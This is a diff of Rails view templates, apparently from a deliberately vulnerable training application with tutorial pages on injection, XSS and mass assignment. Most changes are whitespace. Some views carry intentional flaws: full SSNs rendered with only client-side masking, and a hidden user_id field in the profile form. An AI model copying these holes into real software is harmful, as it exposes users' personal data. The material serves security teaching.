<span class="fs1" aria-hidden="true" data-icon=""></span> Step 1 - Choose your path
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 1 - Choose your path
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="thumbnail">
|
<div class="thumbnail">
|
||||||
<div class="caption">
|
<div class="caption">
|
||||||
<h3>
|
<h3>
|
||||||
Get Started
|
Get Started
|
||||||
</h3>
|
</h3>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Choose your path! Go directly into reading each tutorial or begin attacking the application to practice identifying weaknesses. <br/>You can then cross reference your findings with the findings listed under the tutorials section.
|
Choose your path! Go directly into reading each tutorial or begin attacking the application to practice identifying weaknesses. <br/>You can then cross reference your findings with the findings listed under the tutorials section.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<hr/>
|
<hr/>
|
||||||
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-1.png")%> />
|
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-1.png")%> />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 2 - Using the application
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 2 - Using the application
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="thumbnail">
|
<div class="thumbnail">
|
||||||
<div class="caption">
|
<div class="caption">
|
||||||
<h3>
|
<h3>
|
||||||
Using the application
|
Using the application
|
||||||
</h3>
|
</h3>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Each tutorial offers 4 parts:
|
Each tutorial offers 4 parts:
|
||||||
<li style="margin-left: 20px">Description</li>
|
<li style="margin-left: 20px">Description</li>
|
||||||
<li style="margin-left: 20px">Bug</li>
|
<li style="margin-left: 20px">Bug</li>
|
||||||
<li style="margin-left: 20px">Solution</li>
|
<li style="margin-left: 20px">Solution</li>
|
||||||
<li style="margin-left: 20px">Hint</li><br/>
|
<li style="margin-left: 20px">Hint</li><br/>
|
||||||
These titles are fairly self-explanatory but <b>BEWARE</b>, the solution section gives away how to solve or attack that particular vulnerability instance!
|
These titles are fairly self-explanatory but <b>BEWARE</b>, the solution section gives away how to solve or attack that particular vulnerability instance!
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<hr/>
|
<hr/>
|
||||||
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-2.png")%> />
|
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-2.png")%> />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 3 - Attack
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 3 - Attack
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="thumbnail">
|
<div class="thumbnail">
|
||||||
<div class="caption">
|
<div class="caption">
|
||||||
<h1 align="center">
|
<h1 align="center">
|
||||||
HACK!
|
HACK!
|
||||||
</h1>
|
</h1>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<hr/>
|
<hr/>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="tutorials_home"]').addClass('active');
|
$('li[id="tutorials_home"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,26 +1,26 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<%= render :partial => "layouts/tutorial/injection/injection_first"%>
|
<%= render :partial => "layouts/tutorial/injection/injection_first"%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<%= render :partial => "layouts/tutorial/injection/sqli_scope"%>
|
<%= render :partial => "layouts/tutorial/injection/sqli_scope"%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<%= render :partial => "layouts/tutorial/injection/injection_command"%>
|
<%= render :partial => "layouts/tutorial/injection/injection_command"%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="injection"]').addClass('active');
|
$('li[id="injection"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,21 +1,21 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/insecure_components/insecure_components_first" %>
|
<%= render :partial => "layouts/tutorial/insecure_components/insecure_components_first" %>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/insecure_components/insecure_components_second" %>
|
<%= render :partial => "layouts/tutorial/insecure_components/insecure_components_second" %>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="insecure_components"]').addClass('active');
|
$('li[id="insecure_components"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/insecure_dor/insecure_dor_first" %>
|
<%= render :partial => "layouts/tutorial/insecure_dor/insecure_dor_first" %>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="insecure_dor"]').addClass('active');
|
$('li[id="insecure_dor"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,23 +1,23 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/logic_flaws/broken_regexp")%>
|
<%= render :partial => ("layouts/tutorial/logic_flaws/broken_regexp")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/logic_flaws/insecure_crypto_reuse")%>
|
<%= render :partial => ("layouts/tutorial/logic_flaws/insecure_crypto_reuse")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="logic_flaws"]').addClass('active');
|
$('li[id="logic_flaws"]').addClass('active');
|
||||||
$('li[id="submenu"]').addClass('active open');
|
$('li[id="submenu"]').addClass('active open');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,17 +1,17 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/mass_assignment/admin_mass_assign")%>
|
<%= render :partial => ("layouts/tutorial/mass_assignment/admin_mass_assign")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="mass_assignment"]').addClass('active');
|
$('li[id="mass_assignment"]').addClass('active');
|
||||||
$('li[id="submenu"]').addClass('active open');
|
$('li[id="submenu"]').addClass('active open');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,17 +1,17 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<%= render :partial => ("layouts/tutorial/metaprogramming/benefit_forms_constantize")%>
|
<%= render :partial => ("layouts/tutorial/metaprogramming/benefit_forms_constantize")%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="metaprogramming"]').addClass('active');
|
$('li[id="metaprogramming"]').addClass('active');
|
||||||
$('li[id="submenu"]').addClass('active open');
|
$('li[id="submenu"]').addClass('active open');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,21 +1,21 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<%= render :partial => "layouts/tutorial/misconfig/misconfig_first"%>
|
<%= render :partial => "layouts/tutorial/misconfig/misconfig_first"%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12-->
|
<div class="span12"> <!-- Begin Span12-->
|
||||||
<%= render :partial => "layouts/tutorial/misconfig/misconfig_second"%>
|
<%= render :partial => "layouts/tutorial/misconfig/misconfig_second"%>
|
||||||
</div> <!-- End Span12-->
|
</div> <!-- End Span12-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="misconfig"]').addClass('active');
|
$('li[id="misconfig"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/redirects/redirects_first"%>
|
<%= render :partial => "layouts/tutorial/redirects/redirects_first"%>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="redirects"]').addClass('active');
|
$('li[id="redirects"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/ssl_tls/ssl_tls_first" %>
|
<%= render :partial => "layouts/tutorial/ssl_tls/ssl_tls_first" %>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="ssl_tls"]').addClass('active');
|
$('li[id="ssl_tls"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/url_access/url_access_first" %>
|
<%= render :partial => "layouts/tutorial/url_access/url_access_first" %>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="url_access"]').addClass('active');
|
$('li[id="url_access"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,21 +1,21 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/xss/xss_first"%>
|
<%= render :partial => "layouts/tutorial/xss/xss_first"%>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12"> <!-- Begin Span12 -->
|
<div class="span12"> <!-- Begin Span12 -->
|
||||||
<%= render :partial => "layouts/tutorial/xss/dom_xss"%>
|
<%= render :partial => "layouts/tutorial/xss/dom_xss"%>
|
||||||
</div> <!-- End Span12 -->
|
</div> <!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="xss"]').addClass('active');
|
$('li[id="xss"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(makeActive);
|
$(document).ready(makeActive);
|
||||||
|
|||||||
@@ -1,20 +1,20 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Success!
|
Success!
|
||||||
</h4>
|
</h4>
|
||||||
<p>
|
<p>
|
||||||
Information successfully updated.
|
Information successfully updated.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Error!
|
Error!
|
||||||
</h4>
|
</h4>
|
||||||
@@ -22,58 +22,58 @@
|
|||||||
Failed to update.
|
Failed to update.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span6">
|
<div class="span6">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Profile Settings
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Profile Settings
|
||||||
<span class="mini-title">
|
<span class="mini-title">
|
||||||
Edit your account details
|
Edit your account details
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<%= form_for @user, :html => {:id => "account_edit"} do |f|%>
|
<%= form_for @user, :html => {:id => "account_edit"} do |f|%>
|
||||||
<%= f.hidden_field :user_id%>
|
<%= f.hidden_field :user_id%>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :email, nil, {:class => "control-label"}%>
|
<%= f.label :email, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_field :email, {:class => "span12"}%>
|
<%= f.text_field :email, {:class => "span12"}%>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :first_name, nil, {:class => "control-label"}%>
|
<%= f.label :first_name, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_field :first_name, {:class => "span12"} %>
|
<%= f.text_field :first_name, {:class => "span12"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div>
|
<div>
|
||||||
<%= f.label :last_name, nil, {:class => "control-label"}%>
|
<%= f.label :last_name, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_field :last_name, {:class => "span12"} %>
|
<%= f.text_field :last_name, {:class => "span12"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :password, nil, {:class => "control-label"}%>
|
<%= f.label :password, nil, {:class => "control-label"}%>
|
||||||
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
|
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :password_confirmation, nil, {:class => "control-label"}%>
|
<%= f.label :password_confirmation, nil, {:class => "control-label"}%>
|
||||||
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
|
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="form-actions no-margin">
|
<div class="form-actions no-margin">
|
||||||
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
|
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="clearfix">
|
<div class="clearfix">
|
||||||
</div>
|
</div>
|
||||||
<% end %>
|
<% end %>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<%= javascript_include_tag ('validation.js')%>
|
<%= javascript_include_tag ('validation.js')%>
|
||||||
@@ -81,27 +81,23 @@
|
|||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
$("#submit_button").click(function(event) {
|
$("#submit_button").click(function(event) {
|
||||||
var valuesToSubmit = $("#account_edit").serialize();
|
var valuesToSubmit = $("#account_edit").serialize();
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: <%= "/users/#{current_user.user_id}.json".inspect.html_safe %>,
|
url: <%= "/users/#{current_user.user_id}.json".inspect.html_safe %>,
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
if (response.msg == "failure") {
|
if (response.msg == "failure") {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
} else {
|
} else {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,43 +1,41 @@
|
|||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
|
|
||||||
|
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span4 offset4">
|
<div class="span4 offset4">
|
||||||
<div class="signup">
|
<div class="signup">
|
||||||
<%= form_for @user, :html => {:id => "account_edit", :class=> "signup-wrapper"} do |f| %>
|
<%= form_for @user, :html => {:id => "account_edit", :class=> "signup-wrapper"} do |f| %>
|
||||||
|
|
||||||
<div class="header">
|
<div class="header">
|
||||||
<h2>Sign Up</h2>
|
<h2>Sign Up</h2>
|
||||||
<p>Fill out the form below to login</p>
|
<p>Fill out the form below to login</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="content">
|
<div class="content">
|
||||||
<%= f.text_field :email, {:class => "input input-block-level", :placeholder => "Email"} %>
|
<%= f.text_field :email, {:class => "input input-block-level", :placeholder => "Email"} %>
|
||||||
|
|
||||||
<%= f.text_field :first_name, {:class => "input input-block-level", :placeholder => "First Name"} %>
|
<%= f.text_field :first_name, {:class => "input input-block-level", :placeholder => "First Name"} %>
|
||||||
|
|
||||||
<%= f.text_field :last_name, {:class => "input input-block-level", :placeholder => "Last Name"} %>
|
<%= f.text_field :last_name, {:class => "input input-block-level", :placeholder => "Last Name"} %>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.password_field :password, {:class => "input input-block-level", :placeholder => "Password"}%>
|
<%= f.password_field :password, {:class => "input input-block-level", :placeholder => "Password"}%>
|
||||||
</div>
|
</div>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.password_field :password_confirmation, {:class => "input input-block-level", :placeholder => "Confirm Password"}%>
|
<%= f.password_field :password_confirmation, {:class => "input input-block-level", :placeholder => "Confirm Password"}%>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="actions">
|
<div class="actions">
|
||||||
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info btn-large pull-right"} %>
|
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info btn-large pull-right"} %>
|
||||||
</div>
|
</div>
|
||||||
<div class="clearfix"></div>
|
<div class="clearfix"></div>
|
||||||
<% end %>
|
<% end %>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -1,63 +1,61 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Employee Information
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Employee Information
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<table class="table table-bordered table-striped">
|
<table class="table table-bordered table-striped">
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th style="width:16%">Full Name</th>
|
<th style="width:16%">Full Name</th>
|
||||||
<th style="width:16%">Income</th>
|
<th style="width:16%">Income</th>
|
||||||
<th style="width:16%">Bonuses</th>
|
<th style="width:16%">Bonuses</th>
|
||||||
<th style="width:16%">Years w/ MetaCorp</th>
|
<th style="width:16%">Years w/ MetaCorp</th>
|
||||||
<th style="width:16%">SSN</th>
|
<th style="width:16%">SSN</th>
|
||||||
<th style="width:16%">DoB</th>
|
<th style="width:16%">DoB</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
|
|
||||||
<tr>
|
<tr>
|
||||||
<td><%= "#{@user.first_name} #{@user.last_name}" %></td>
|
<td><%= "#{@user.first_name} #{@user.last_name}" %></td>
|
||||||
<td><%= @user.work_info.income %></td>
|
<td><%= @user.work_info.income %></td>
|
||||||
<td><%= @user.work_info.bonuses %></td>
|
<td><%= @user.work_info.bonuses %></td>
|
||||||
<td><%= @user.work_info.years_worked %></td>
|
<td><%= @user.work_info.years_worked %></td>
|
||||||
<td class="ssn"><%= @user.work_info.SSN %></td>
|
<td class="ssn"><%= @user.work_info.SSN %></td>
|
||||||
<!-- Begin Secure Version>-->
|
<!-- Begin Secure Version>-->
|
||||||
<!--<td class="ssn"><%#= @user.work_info.last_four %></td>-->
|
<!--<td class="ssn"><%#= @user.work_info.last_four %></td>-->
|
||||||
<!-- End Secure Version -->
|
<!-- End Secure Version -->
|
||||||
<td><%= @user.work_info.DoB %></td>
|
<td><%= @user.work_info.DoB %></td>
|
||||||
</tr>
|
</tr>
|
||||||
|
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
// This should be an EXCELLENT feature!!!
|
// This should be an EXCELLENT feature!!!
|
||||||
function maskSSN(){
|
function maskSSN(){
|
||||||
var fullSSN = $("td.ssn").html().replace(/\d{3}.*?\d{2}/, "*****");
|
